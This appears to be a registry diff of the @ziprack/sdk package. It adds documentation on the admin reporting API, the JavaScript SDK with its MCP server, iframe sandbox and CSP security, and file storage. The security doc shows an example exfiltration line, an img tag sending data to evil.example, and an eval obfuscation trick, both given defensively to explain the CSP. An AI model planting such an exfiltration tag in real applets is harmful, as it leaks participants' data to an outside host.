@ziprack/sdk 0.1.1 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/dist/broadcast/index.d.ts +8 -1
  2. package/dist/core/mock/MockRack.d.ts +6 -0
  3. package/dist/core/types.d.ts +4 -0
  4. package/dist/docs/README.md +52 -0
  5. package/dist/docs/activity.md +140 -0
  6. package/dist/docs/ai.md +159 -0
  7. package/dist/docs/applet-packages.md +118 -0
  8. package/dist/docs/attempts.md +184 -0
  9. package/dist/docs/auth.md +106 -0
  10. package/dist/docs/broadcast.md +226 -0
  11. package/dist/docs/conformance.md +102 -0
  12. package/dist/docs/database.md +176 -0
  13. package/dist/docs/extending.md +256 -0
  14. package/dist/docs/installation.md +185 -0
  15. package/dist/docs/introduction.md +124 -0
  16. package/dist/docs/manifest.md +209 -0
  17. package/dist/docs/media.md +85 -0
  18. package/dist/docs/protocol.md +121 -0
  19. package/dist/docs/publishing.md +127 -0
  20. package/dist/docs/reporting.md +146 -0
  21. package/dist/docs/sdk.md +258 -0
  22. package/dist/docs/security.md +127 -0
  23. package/dist/docs/storage.md +131 -0
  24. package/dist/docs/studio.md +425 -0
  25. package/dist/docs/versioning.md +101 -0
  26. package/dist/docs/ziprack-1-authoring.md +182 -0
  27. package/dist/index.js +11 -2
  28. package/dist/index.js.map +1 -1
  29. package/dist/mcp/bin.d.ts +2 -0
  30. package/dist/mcp/bin.js +3 -0
  31. package/dist/mcp/docs.d.ts +31 -0
  32. package/dist/mcp/docs.js +107 -0
  33. package/dist/mcp/index.d.ts +4 -0
  34. package/dist/mcp/index.js +4 -0
  35. package/dist/mcp/rpc.d.ts +33 -0
  36. package/dist/mcp/rpc.js +86 -0
  37. package/dist/mcp/server.d.ts +23 -0
  38. package/dist/mcp/server.js +55 -0
  39. package/dist/mcp/tools.d.ts +20 -0
  40. package/dist/mcp/tools.js +106 -0
  41. package/dist/{store-DSV5q7C7.js → store-BXGon4iJ.js} +15 -5
  42. package/dist/store-BXGon4iJ.js.map +1 -0
  43. package/dist/testing.js +1 -1
  44. package/dist/ziprack-sdk.iife.js +1 -1
  45. package/dist/ziprack-sdk.iife.js.map +1 -1
  46. package/package.json +10 -4
  47. package/dist/store-DSV5q7C7.js.map +0 -1
@@ -0,0 +1,146 @@
1
+ # Reporting
2
+
3
+ - [Composition](#composition)
4
+ - [The Admin API](#the-admin-api)
5
+ - [Preview Runs](#preview-runs)
6
+ - [The CSV Export](#the-csv-export)
7
+ - [Metrics](#metrics)
8
+ - [Response Analysis](#response-analysis)
9
+ - [Building a UI](#building-a-ui)
10
+
11
+ <a name="composition"></a>
12
+ ## Composition
13
+
14
+ `ziprack/admin` is **headless**: JSON endpoints, export and report services, no pages. The
15
+ deployment skeleton owns the UI, and replacing it entirely is expected — the API is the contract,
16
+ the pages are not.
17
+
18
+ The admin composes from declared capabilities rather than assuming every applet is a simulation.
19
+ Ask a Rack what to render:
20
+
21
+ ```http
22
+ GET /ziprack/admin/applets/{applet}/panels
23
+ ```
24
+
25
+ ```json
26
+ {
27
+ "declared": ["activity@1", "attempt@1", "auth@1"],
28
+ "panels": ["activity", "attempt", "auth"],
29
+ "implemented": ["activity@1", "ai@1", "attempt@1", "auth@1", "broadcast@1", "db@1", "storage@1"]
30
+ }
31
+ ```
32
+
33
+ `panels` is the intersection of what the current version declares and what this Rack implements —
34
+ render exactly those and nothing else.
35
+
36
+ | Declared | Renders |
37
+ |---|---|
38
+ | `attempt@1` | Attempts started and completed, completion rate, metric cards |
39
+ | `activity@1` | Statement log per attempt; CSV export |
40
+ | `db@1` | Record browser per collection, from the declared JSON Schema |
41
+ | `storage@1` | Uploaded artifact gallery, scoped and permissioned |
42
+ | `ai@1` | Per-prompt spend and call volume |
43
+ | `broadcast@1` | Room history, participation by role, facilitator timeline |
44
+
45
+ <a name="the-admin-api"></a>
46
+ ## The Admin API
47
+
48
+ All routes sit under `ziprack-admin.prefix` (default `/ziprack/admin`) behind `web`, `auth` and the
49
+ `ziprack.admin` gate — which defaults to `$user->is_admin` and can be redefined by the deployment.
50
+
51
+ | Route | Purpose |
52
+ |---|---|
53
+ | `GET status` | Format, core version, capabilities, warnings |
54
+ | `GET applets` · `POST applets` | List and create |
55
+ | `GET applets/{applet}` · `PATCH applets/{applet}` | Show and update |
56
+ | `GET applets/{applet}/panels` | What to render |
57
+ | `POST versions/upload` · `POST applets/{applet}/versions` | Install a package |
58
+ | `GET applets/{applet}/versions/{version}` | Manifest, requires diff, SBOM, OSV findings, publisher |
59
+ | `POST …/{version}/approve` · `…/promote` · `…/retire` | The publishing actions |
60
+ | `GET review-queue` | Everything awaiting a decision |
61
+ | `GET participants` · `GET audit-log` | People and capability calls |
62
+
63
+ Capability packages add their own, and only when installed:
64
+
65
+ | Route | Capability |
66
+ |---|---|
67
+ | `GET applets/{applet}/overview` · `…/attempts` · `…/attempts/{attempt}` | `attempt` |
68
+ | `GET applets/{applet}/attempts/{attempt}/statements` · `…/export.csv` · `…/metrics` | `activity` |
69
+ | `GET applets/{applet}/collections` · `…/collections/{name}/records` | `db` |
70
+ | `GET applets/{applet}/files` | `storage` |
71
+ | `GET applets/{applet}/ai/spend` · `…/ai/calls` | `ai` |
72
+ | `GET applets/{applet}/rooms` · `POST rooms` · `GET rooms/{room}` · `POST rooms/{room}/status` · `GET rooms/{room}/events` | `broadcast` |
73
+ | `GET participants/{participant}/profile` · `PUT …` | `auth` |
74
+
75
+ <a name="preview-runs"></a>
76
+ ## Preview Runs
77
+
78
+ Every attempt query above — the table, the overview counts, the metric cards and the CSV export —
79
+ returns **live attempts only** unless told otherwise:
80
+
81
+ | `?preview=` | Returns |
82
+ |---|---|
83
+ | *(absent)* · `live` | Real runs. The default, and what a report should almost always show. |
84
+ | `preview` | Staff [preview runs](attempts.md#preview-runs) only |
85
+ | `all` | Both, with `is_preview` on each row to tell them apart |
86
+
87
+ An unrecognised value falls back to `live` rather than erroring, so a stale bookmark cannot quietly
88
+ turn preview data into a report.
89
+
90
+ <a name="the-csv-export"></a>
91
+ ## The CSV Export
92
+
93
+ `GET /ziprack/admin/applets/{applet}/export.csv` produces one row per attempt:
94
+
95
+ ```
96
+ ID, Name, Email, {first segment label}, Status, Started At, Completed At,
97
+ {declared activities in sequence order, headed by label},
98
+ {undeclared activity ids that appeared, appended}
99
+ ```
100
+
101
+ Each activity cell is the **last** `result.response` for that activity in that attempt; non-scalar
102
+ values are JSON-encoded, and duplicate labels are disambiguated so the header row stays usable.
103
+
104
+ This is the one artifact every applet declaring `activity@1` produces identically, which is what
105
+ makes it worth protecting. The authoring consequences are covered in
106
+ [Designing for the Export](activity.md#designing-for-the-export) and are unchanged from `cn-sim/1`:
107
+ `id` is the data contract, `label` is the header, renaming either has consequences.
108
+
109
+ <a name="metrics"></a>
110
+ ## Metrics
111
+
112
+ `GET /ziprack/admin/applets/{applet}/metrics` computes each declared
113
+ [metric](activity.md#metrics) over completed attempts: the pre mean, the post mean and the shift,
114
+ sliceable by the primary segment. Metrics need `attempt@1` as well as `activity@1`, which the
115
+ manifest validator enforces at upload rather than leaving to discover at report time.
116
+
117
+ <a name="response-analysis"></a>
118
+ ## Response Analysis
119
+
120
+ The admin can summarise free-text answers across attempts:
121
+
122
+ ```sh
123
+ php artisan ziprack:response-analysis --applet=my-applet
124
+ ```
125
+
126
+ ```http
127
+ GET /ziprack/admin/applets/{applet}/response-analysis
128
+ POST /ziprack/admin/applets/{applet}/response-analysis/refresh
129
+ ```
130
+
131
+ Summaries regenerate only for applets whose answers changed; schedule the command every few hours.
132
+
133
+ **This is a Rack feature, not an applet capability.** It operates on collected statements from any
134
+ applet declaring `activity@1`, whether or not that applet uses [`ai@1`](ai.md). The two are budgeted
135
+ and configured separately, and conflating them is the mistake this note exists to prevent.
136
+
137
+ <a name="building-a-ui"></a>
138
+ ## Building a UI
139
+
140
+ The skeleton ships a reference admin over these endpoints. When you replace it:
141
+
142
+ 1. Call `/panels` first and render from the answer. Hard-coding panels breaks the moment a Rack runs
143
+ a different capability set.
144
+ 2. Render `db@1` record tables from the collection's declared JSON Schema — the schema is there
145
+ precisely so the UI does not need per-applet knowledge.
146
+ 3. Treat the review queue as the landing page. It is where the decisions are.
@@ -0,0 +1,258 @@
1
+ # The JavaScript SDK
2
+
3
+ - [Installation](#installation)
4
+ - [Booting](#booting)
5
+ - [Launch Data](#launch-data)
6
+ - [Acks and Errors](#acks-and-errors)
7
+ - [Events](#events)
8
+ - [Mock Mode](#mock-mode)
9
+ - [Testing](#testing)
10
+ - [Leaving the Applet](#leaving-the-applet)
11
+ - [The MCP Server](#the-mcp-server)
12
+
13
+ <a name="installation"></a>
14
+ ## Installation
15
+
16
+ ```sh
17
+ npm install @ziprack/sdk
18
+ ```
19
+
20
+ ```ts
21
+ import { Rack } from '@ziprack/sdk';
22
+ ```
23
+
24
+ `Rack` is a singleton — one per frame, which is what an applet always is. `createRack()` returns a
25
+ fresh client for tests or unusual multi-frame setups.
26
+
27
+ A Rack also serves an IIFE build at `/ziprack/assets/sdk.js` that exposes `window.Rack` (and
28
+ `window.ZipRack`), for applets with no build step. It is the same code; prefer the npm package when you have a bundler, because mock
29
+ mode and the test host come with it.
30
+
31
+ <a name="booting"></a>
32
+ ## Booting
33
+
34
+ ```ts
35
+ const launch = await Rack.init({ slug: 'my-applet' });
36
+ ```
37
+
38
+ `init()` announces `rack:ready` to the parent, waits for `rack:launch`, and resolves with the launch
39
+ payload. It is safe to call repeatedly: subsequent calls return the same promise. Calls made before
40
+ the handshake completes are queued, not dropped, so you never have to gate your UI on initialisation
41
+ order.
42
+
43
+ | Option | Default | Purpose |
44
+ |---|---|---|
45
+ | `slug` | — | Labels the mock session and locates `./manifest.json` when standalone. |
46
+ | `launchTimeoutMs` | `3000` | How long to wait for `rack:launch` before falling back to mock mode. |
47
+ | `ackTimeoutMs` | `5000` | Per-call ack timeout. Streamed calls reset it per chunk. |
48
+ | `manifestUrl` | `./manifest.json` | Where mock mode reads your manifest. |
49
+ | `transport` | — | Inject a transport (tests). Skips the handshake and mock detection. |
50
+
51
+ `Rack.mode` is `'pending'`, `'host'` or `'mock'`. `Rack.launched` tells you whether launch data has
52
+ arrived.
53
+
54
+ <a name="launch-data"></a>
55
+ ## Launch Data
56
+
57
+ Everything the Rack is willing to tell you up front arrives in one payload — there is no second
58
+ round trip to fetch the participant, the attempt or the manifest.
59
+
60
+ ```ts
61
+ interface LaunchData {
62
+ schema: 'ziprack/1';
63
+ actor: { id: number; name: string };
64
+ applet: { slug: string; name: string; version: string };
65
+ capabilities: string[]; // as declared, e.g. ['auth@1', 'db@1']
66
+ media: Record<string, MediaEmbed>; // Rack-built player URLs by declared id
67
+
68
+ auth?: { user: LaunchUser };
69
+ attempt?: { id, status, state, segment };
70
+ activity?: { activities: LaunchActivity[] };
71
+ db?: { collections: Array<{ name, scope }> };
72
+ storage?: { uploads: Array<{ name, scope, mime, max_bytes }> };
73
+ ai?: { prompts: Array<{ id, mode }> };
74
+ broadcast?: { room, role, members, state, channels };
75
+ }
76
+ ```
77
+
78
+ Each capability contributes its own key, and only when declared. The typed accessors read from the
79
+ same payload, so `Rack.auth.user()`, `Rack.attempt.state()` and `Rack.activity.activities()` are
80
+ synchronous and free.
81
+
82
+ ```ts
83
+ Rack.on('launch', (data) => render(data)); // fires immediately if already launched
84
+ Rack.declares('broadcast'); // did the manifest declare it?
85
+ ```
86
+
87
+ <a name="acks-and-errors"></a>
88
+ ## Acks and Errors
89
+
90
+ **Every SDK call resolves to an `AckResult` and never throws.** There is no `try`/`catch` ceremony
91
+ around a capability call; there is a branch on `ok`.
92
+
93
+ ```ts
94
+ interface AckResult<T> {
95
+ ok: boolean;
96
+ data?: T;
97
+ error?: AckErrorCode;
98
+ message?: string; // human-readable, safe to log, not to show
99
+ details?: object; // validation errors, keyed by field
100
+ }
101
+ ```
102
+
103
+ ```ts
104
+ const result = await Rack.db.collection('ideas').create({ title, status: 'draft' });
105
+
106
+ if (! result.ok) {
107
+ if (result.error === 'quota_exceeded') return showFull();
108
+ return showRetry();
109
+ }
110
+
111
+ const idea = result.data.record;
112
+ ```
113
+
114
+ | Code | Means |
115
+ |---|---|
116
+ | `timeout` | No ack within the timeout. The shell retries the batch once; this is what you see after that. |
117
+ | `disposed` | The client was torn down while the call was in flight. |
118
+ | `persist_failed` | The Rack could not process the message. Already reported server-side. |
119
+ | `undeclared_capability` | The manifest does not declare it — a packaging bug, not a runtime condition. |
120
+ | `unknown_type` | Malformed or unimplemented message type. |
121
+ | `validation` | Payload failed the handler's rules or a declared schema. See `details`. |
122
+ | `forbidden` | Permitted by the manifest, refused for this participant (not the owner, not the facilitator). |
123
+ | `completed` | The attempt is finished; state, segment and attempt-scoped records are frozen. |
124
+ | `quota_exceeded` | Collection full, upload slot full, file too large. |
125
+ | `budget_exceeded` | An `ai@1` budget was reached. |
126
+ | `not_found` | Unknown record, file, channel or collection. |
127
+ | `conflict` | A concurrent write lost. |
128
+
129
+ **Do not block the participant on an ack.** The shell batches messages on a 300 ms window (up to 50
130
+ per request) and coalesces `attempt:state` so only the latest value is sent. Fire and forget for
131
+ progress and state; `await` only what you must confirm — typically the last answer before
132
+ `complete()`.
133
+
134
+ ```ts
135
+ void Rack.attempt.setState({ step: 4 }); // fire and forget
136
+ await Rack.activity.answer('outro.confidence', 5); // confirm, then:
137
+ await Rack.attempt.complete();
138
+ ```
139
+
140
+ <a name="events"></a>
141
+ ## Events
142
+
143
+ The Rack pushes events into the frame — room broadcasts, presence changes, role grants. Subscribe
144
+ through the capability that owns them (see [Broadcast](broadcast.md)), or read the raw stream:
145
+
146
+ ```ts
147
+ Rack.on('event', ({ event, payload, channel, from }) => {
148
+ console.log(event, payload, channel, from?.participant_id);
149
+ });
150
+ ```
151
+
152
+ <a name="mock-mode"></a>
153
+ ## Mock Mode
154
+
155
+ Run `npm run dev` and there is no Rack, so the SDK becomes one. Mock mode reads your
156
+ `./manifest.json` and services every capability locally — which means declared capabilities,
157
+ activities, collections, prompts and uploads behave exactly as they will in production, including
158
+ refusing calls the manifest did not declare.
159
+
160
+ ```
161
+ [ziprack] running in mock mode (not embedded in a Rack)
162
+ [ziprack mock] activity:statement { verb: 'answered', … }
163
+ ```
164
+
165
+ | Surface | Mock behaviour |
166
+ |---|---|
167
+ | `attempt` | State and status persist in `localStorage` under `ziprack-mock:{slug}:*`. Refresh resumes. |
168
+ | `activity` | Statements are logged and kept in memory. |
169
+ | `db` | Records persist in `localStorage`, validated against the declared schema. |
170
+ | `storage` | Files are held as blob URLs and marked clean. |
171
+ | `ai` | Returns a stub conforming to `output_schema` — or your own handler. |
172
+ | `broadcast` | Uses `BroadcastChannel`, so **two tabs of your dev server form a room**. |
173
+
174
+ Two hooks exist only in mock mode:
175
+
176
+ ```ts
177
+ Rack.mock.ai('score_pitch', (vars) => ({ clarity: 4, feedback: `Nice work on "${vars.pitch}"` }));
178
+ Rack.mock.resetAttempt(); // replay a completed attempt
179
+ ```
180
+
181
+ Mock mode also engages if a real Rack fails to answer `rack:launch` within `launchTimeoutMs`. That
182
+ is a deliberate development convenience, and the console says so — if you see it in production,
183
+ something is wrong with the shell, not with your applet.
184
+
185
+ <a name="testing"></a>
186
+ ## Testing
187
+
188
+ `@ziprack/sdk/testing` ships an in-memory Rack you can assert against.
189
+
190
+ ```ts
191
+ import { createRack } from '@ziprack/sdk';
192
+ import { FakeHost } from '@ziprack/sdk/testing';
193
+ import manifest from '../public/manifest.json';
194
+
195
+ it('records the answer and completes exactly once', async () => {
196
+ const host = new FakeHost(manifest);
197
+ const rack = createRack();
198
+ await rack.init({ transport: host.transport() });
199
+
200
+ await rack.activity.answer('intro.confidence', 5);
201
+ await rack.attempt.complete();
202
+ await rack.attempt.complete(); // idempotent
203
+
204
+ expect(host.answers()).toEqual({ 'intro.confidence': 5 });
205
+ expect(host.attempt().status).toBe('completed');
206
+ });
207
+ ```
208
+
209
+ | Member | Gives you |
210
+ |---|---|
211
+ | `host.transport()` | Pass to `rack.init({ transport })`. |
212
+ | `host.statements` | Every statement the applet emitted, in order. |
213
+ | `host.answers()` | The last `answered` value per activity — what reporting would export. |
214
+ | `host.attempt()`, `host.records(name)`, `host.files()` | Persisted state. |
215
+ | `host.push(event)` | Push a `rack:event` in, as the Rack would, to drive broadcast handlers. |
216
+
217
+ <a name="leaving-the-applet"></a>
218
+ ## Leaving the Applet
219
+
220
+ ```ts
221
+ Rack.eject();
222
+ ```
223
+
224
+ Asks the Rack to navigate away — back to the applet list, or wherever the deployment sends people.
225
+ It needs no capability and takes no ack. In mock mode it logs what would have happened.
226
+
227
+ <a name="the-mcp-server"></a>
228
+ ## The MCP Server
229
+
230
+ ```sh
231
+ npx ziprack-mcp
232
+ ```
233
+
234
+ The SDK ships a stdio MCP server that gives an AI assistant these docs and the applet authoring
235
+ guidelines. The docs are bundled into the package when it is published, so what the assistant reads
236
+ always matches the SDK version in your `node_modules`, not whatever it remembers of an older one. The
237
+ starter already includes the configuration in `.mcp.json`:
238
+
239
+ ```json
240
+ {
241
+ "mcpServers": {
242
+ "ziprack": {
243
+ "command": "npx",
244
+ "args": ["ziprack-mcp"]
245
+ }
246
+ }
247
+ }
248
+ ```
249
+
250
+ | Tool | Purpose |
251
+ |---|---|
252
+ | `ziprack_guidelines` | The rules every applet follows (`ziprack-1-authoring.md`). Read before writing applet code. |
253
+ | `ziprack_list_docs` | Every doc in reading order, with its section anchors. |
254
+ | `ziprack_search_docs` | The best-matching sections, in full, for one or more phrasings. |
255
+ | `ziprack_read_doc` | One doc, or one section of it by anchor. |
256
+
257
+ Every answer names the SDK version it came from. `ziprack-studio mcp` includes the same four tools,
258
+ so a Studio project needs only the one server.
@@ -0,0 +1,127 @@
1
+ # Security
2
+
3
+ - [The Boundary](#the-boundary)
4
+ - [The Sandbox](#the-sandbox)
5
+ - [The Content Security Policy](#the-content-security-policy)
6
+ - [Tokens and Sessions](#tokens-and-sessions)
7
+ - [Threats the Boundary Does Not Cover](#threats-the-boundary-does-not-cover)
8
+ - [Static Analysis](#static-analysis)
9
+
10
+ <a name="the-boundary"></a>
11
+ ## The Boundary
12
+
13
+ Two mechanisms do essentially all of the work: the iframe sandbox and the Content Security Policy.
14
+ Everything else in zipRACK — declared capabilities, quotas, budgets, review queues — is defence in
15
+ depth over those two.
16
+
17
+ The reason to be strict about which is which: sandbox and CSP hold against a *hostile* applet. The
18
+ declaration model holds against a *careless* one, and gives a reviewer something to read. Do not
19
+ lean on the second where the first is what is needed.
20
+
21
+ <a name="the-sandbox"></a>
22
+ ## The Sandbox
23
+
24
+ ```html
25
+ <iframe sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox"
26
+ allow="autoplay; fullscreen; picture-in-picture; encrypted-media"
27
+ src="/ziprack/pkg/{token}/index.html"></iframe>
28
+ ```
29
+
30
+ `allow-same-origin` is absent, and that absence is the whole design. The applet document has an
31
+ opaque origin, which means:
32
+
33
+ - No cookies, no `localStorage`, no `sessionStorage`, no `IndexedDB`.
34
+ - No credentialed requests, and no useful requests to the Rack at all.
35
+ - No access to the parent DOM.
36
+ - Nested frames inherit the flags, so an embedded player is equally contained.
37
+
38
+ Communication is `postMessage` only, and the host honours a message solely when `event.source` is
39
+ the applet's `contentWindow`. Origin is never compared, because an opaque origin makes comparison
40
+ meaningless — a detail worth understanding before anyone "fixes" it.
41
+
42
+ <a name="the-content-security-policy"></a>
43
+ ## The Content Security Policy
44
+
45
+ Served with the applet's entry document. **Directives are fixed in the middleware**; a deployment may
46
+ add approved hosts, never a bare scheme.
47
+
48
+ | Directive | Value |
49
+ |---|---|
50
+ | `default-src` | `'self'` |
51
+ | `script-src` | `'self' 'unsafe-inline' 'unsafe-eval' blob:` |
52
+ | `style-src` | `'self' 'unsafe-inline'` + configured font CDNs |
53
+ | `font-src` | `'self' data:` + configured font CDNs |
54
+ | `img-src` | `'self' data: blob:` + deployment allowlist |
55
+ | `media-src` | `'self' blob:` + deployment allowlist |
56
+ | `connect-src` | `'self'` |
57
+ | `frame-src` | the allowlisted media providers' player hosts, else `'none'` |
58
+ | `frame-ancestors`, `base-uri`, `form-action` | `'self'` |
59
+
60
+ **Why `img-src` matters more than it looks.** A hostile applet can exfiltrate anything it holds with
61
+ a single tag:
62
+
63
+ ```html
64
+ <img src="https://evil.example/?d=…">
65
+ ```
66
+
67
+ That request fires without touching any Rack surface, leaves no statement, and appears in no log the
68
+ Rack controls. Tightening `img-src` and `media-src` to `'self' data: blob:` plus an explicit
69
+ allowlist closes it, and costs nothing in capability, because applets already ship their own assets.
70
+ It is the single highest-value security control in the framework.
71
+
72
+ The config accepts hosts, and only hosts:
73
+
74
+ ```php
75
+ 'csp' => [
76
+ 'img_hosts' => ['cdn.client.example'], // ZIPRACK_CSP_IMG_HOSTS
77
+ 'media_hosts' => [],
78
+ ],
79
+ ```
80
+
81
+ `https:`, `http:`, `*`, `https://*` and anything containing a wildcard are rejected outright;
82
+ `ContentSecurityPolicy::violations()` reports attempts, and `ziprack:status` surfaces them. A host
83
+ without a scheme is normalised to `https://`.
84
+
85
+ External media that genuinely must load from elsewhere routes through the Rack's `/cdn/...` proxy
86
+ instead of loosening the policy.
87
+
88
+ <a name="tokens-and-sessions"></a>
89
+ ## Tokens and Sessions
90
+
91
+ - **Package asset token.** Applet files are served from `/ziprack/pkg/{token}/…` with a signed token
92
+ scoped to one version, expiring after `ziprack.asset_token_ttl_hours` (6). The extraction disk is
93
+ never publicly served.
94
+ - **Launch session.** Capability calls go to `/ziprack/s/{session}/messages` with a token in the
95
+ path — no session cookie, no CSRF, stateless by design, rate limited, expiring after
96
+ `ziprack.session_ttl_hours` (6). The session is what binds a message to a participant, a version,
97
+ an attempt and a room; nothing in the payload can widen that scope.
98
+ - **Signed file URLs.** `storage@1` hands out short-lived URLs, never object keys.
99
+ - **Channel authentication.** The Rack signs its own WebSocket subscriptions. No token reaches the
100
+ frame.
101
+
102
+ <a name="threats-the-boundary-does-not-cover"></a>
103
+ ## Threats the Boundary Does Not Cover
104
+
105
+ **Credential phishing inside the frame.** An applet can render a convincing fake login form. The
106
+ mitigations are persistent Rack chrome that cannot be spoofed from inside the frame, plus a stated
107
+ and enforced policy: *applets never ask participants for credentials.* Treat a package that does as
108
+ a publishing violation, not a bug.
109
+
110
+ **LLM budget abuse.** An applet with `ai@1` can burn tokens. Budgets are hard caps enforced
111
+ server-side at every layer — per prompt, per attempt, per participant, per applet per day, per Rack
112
+ per month — never advisory numbers.
113
+
114
+ **Record and storage flooding.** Per-scope quotas, declared in the manifest and capped by the
115
+ deployment regardless of what the manifest asks for.
116
+
117
+ **Supply chain.** The SBOM is self-attested. OSV findings catch negligence; the
118
+ [capability diff](publishing.md#capability-diff-review) is what catches the realistic attack, which
119
+ is a benign v1 followed by a quietly wider v2.
120
+
121
+ <a name="static-analysis"></a>
122
+ ## Static Analysis
123
+
124
+ AST scanning of shipped applet JavaScript was considered and **dropped**. Applets ship minified with
125
+ mangled identifiers, and any check is defeated by trivial obfuscation — `window["ev"+"al"]` — so it
126
+ would produce false confidence and a maintenance burden without raising the bar. The CSP does the
127
+ work static analysis was being asked to do, and does it at runtime, where it cannot be evaded.
@@ -0,0 +1,131 @@
1
+ # Storage — `storage@1`
2
+
3
+ - [Introduction](#introduction)
4
+ - [Declaring Upload Slots](#declaring-upload-slots)
5
+ - [Uploading](#uploading)
6
+ - [Reading Files Back](#reading-files-back)
7
+ - [Scanning](#scanning)
8
+ - [Quotas and Limits](#quotas-and-limits)
9
+
10
+ <a name="introduction"></a>
11
+ ## Introduction
12
+
13
+ `storage@1` lets a participant put a file into the Rack: a photo, a drawing, a recorded reflection,
14
+ a document. The applet never sees a bucket, a key or a presigned URL to anything but its own files,
15
+ and a file is not addressable at all until a scanner has marked it clean.
16
+
17
+ <a name="declaring-upload-slots"></a>
18
+ ## Declaring Upload Slots
19
+
20
+ An **upload** is a named slot with a scope and a MIME allowlist. Files always belong to a slot.
21
+
22
+ ```json
23
+ "uploads": [
24
+ { "name": "artifacts", "scope": "room", "mime": ["image/png", "image/jpeg"], "max_bytes": 5242880, "max_files": 10 },
25
+ { "name": "reflection", "scope": "attempt", "mime": ["audio/*"], "max_bytes": 10485760 }
26
+ ]
27
+ ```
28
+
29
+ | Field | Rules |
30
+ |---|---|
31
+ | `name` | Required. `^[a-z][a-z0-9_]*$`, max 40, unique. |
32
+ | `scope` | Required. `attempt`, `user`, `room` or `applet`. Same meaning as [db scopes](database.md#scopes). |
33
+ | `mime` | Required, at least one. `type/subtype` or `type/*`. |
34
+ | `max_bytes` | Optional. Default 10 MB, ceiling 50 MB (`ziprack-storage.max_bytes_cap`). |
35
+ | `max_files` | Optional. Default 20, ceiling 500. |
36
+
37
+ `attempt` scope requires `attempt@1`; `room` scope requires `broadcast@1`.
38
+
39
+ <a name="uploading"></a>
40
+ ## Uploading
41
+
42
+ ```ts
43
+ input.addEventListener('change', async () => {
44
+ const file = input.files?.[0];
45
+ if (! file) return;
46
+
47
+ const result = await Rack.storage.put('artifacts', file, { caption: caption.value });
48
+
49
+ if (! result.ok) {
50
+ return showError(result.error === 'quota_exceeded'
51
+ ? 'That slot is full.'
52
+ : 'We could not accept that file.');
53
+ }
54
+
55
+ render(result.data.file); // status is usually 'pending' at this point
56
+ });
57
+ ```
58
+
59
+ The `File` travels to the shell by structured clone and is re-sent as multipart to the Rack — it
60
+ never becomes JSON, and it never leaves the frame as your own `fetch`. The ack timeout for
61
+ `storage:put` is 120 s rather than the usual 5 s, because upload time is participant time.
62
+
63
+ A stored file looks like:
64
+
65
+ ```ts
66
+ interface StoredFile {
67
+ id: string;
68
+ upload: string; // the slot name
69
+ name: string;
70
+ mime: string;
71
+ bytes: number;
72
+ status: 'pending' | 'clean' | 'infected' | 'failed';
73
+ created_at: string;
74
+ }
75
+ ```
76
+
77
+ <a name="reading-files-back"></a>
78
+ ## Reading Files Back
79
+
80
+ ```ts
81
+ const { data } = await Rack.storage.list('artifacts'); // omit the slot for all of them
82
+
83
+ const url = await Rack.storage.url(file.id);
84
+ if (url.ok) img.src = url.data.url; // expires; refetch rather than cache
85
+
86
+ await Rack.storage.delete(file.id);
87
+ ```
88
+
89
+ `url()` returns a short-lived signed URL — 10 minutes by default
90
+ (`ziprack-storage.url_ttl_minutes`) — and never an object key. Do not store it: request it when you
91
+ are about to render, and request it again if the participant leaves the page open.
92
+
93
+ `url()` on a file that is not yet `clean` fails. Render pending files as placeholders and refresh:
94
+
95
+ ```ts
96
+ if (file.status === 'pending') {
97
+ setTimeout(async () => {
98
+ const again = await Rack.storage.list('artifacts');
99
+ // …look for this id, re-render when it turns clean
100
+ }, 2000);
101
+ }
102
+ ```
103
+
104
+ <a name="scanning"></a>
105
+ ## Scanning
106
+
107
+ Uploads are scanned before they become addressable. The deployment picks the scanner:
108
+
109
+ ```
110
+ ZIPRACK_SCANNER=clamav # streams the file to clamd over TCP
111
+ ZIPRACK_SCANNER=null # development only: passes everything, marks clean
112
+ ```
113
+
114
+ `php artisan ziprack:status` warns while a Rack is running the null scanner, and that warning should
115
+ be taken seriously before a deployment accepts participant files from anyone.
116
+
117
+ An `infected` file is never addressable, and the participant sees a failure rather than a mystery.
118
+
119
+ <a name="quotas-and-limits"></a>
120
+ ## Quotas and Limits
121
+
122
+ Enforced server-side, per slot and per scope, regardless of what the manifest asks for:
123
+
124
+ - `max_bytes` per file, capped at 50 MB for the deployment.
125
+ - `max_files` per scope, capped at 500.
126
+ - The MIME allowlist. A file whose type is not in the slot's list is refused with `validation`,
127
+ which is not a substitute for setting `accept` on your `<input>` — do both, for the participant's
128
+ sake.
129
+
130
+ Uploads count against the applet, so an applet declaring an unbounded-feeling slot in a long-running
131
+ room is the realistic way to fill a disk. Declare the smallest slot that does the job.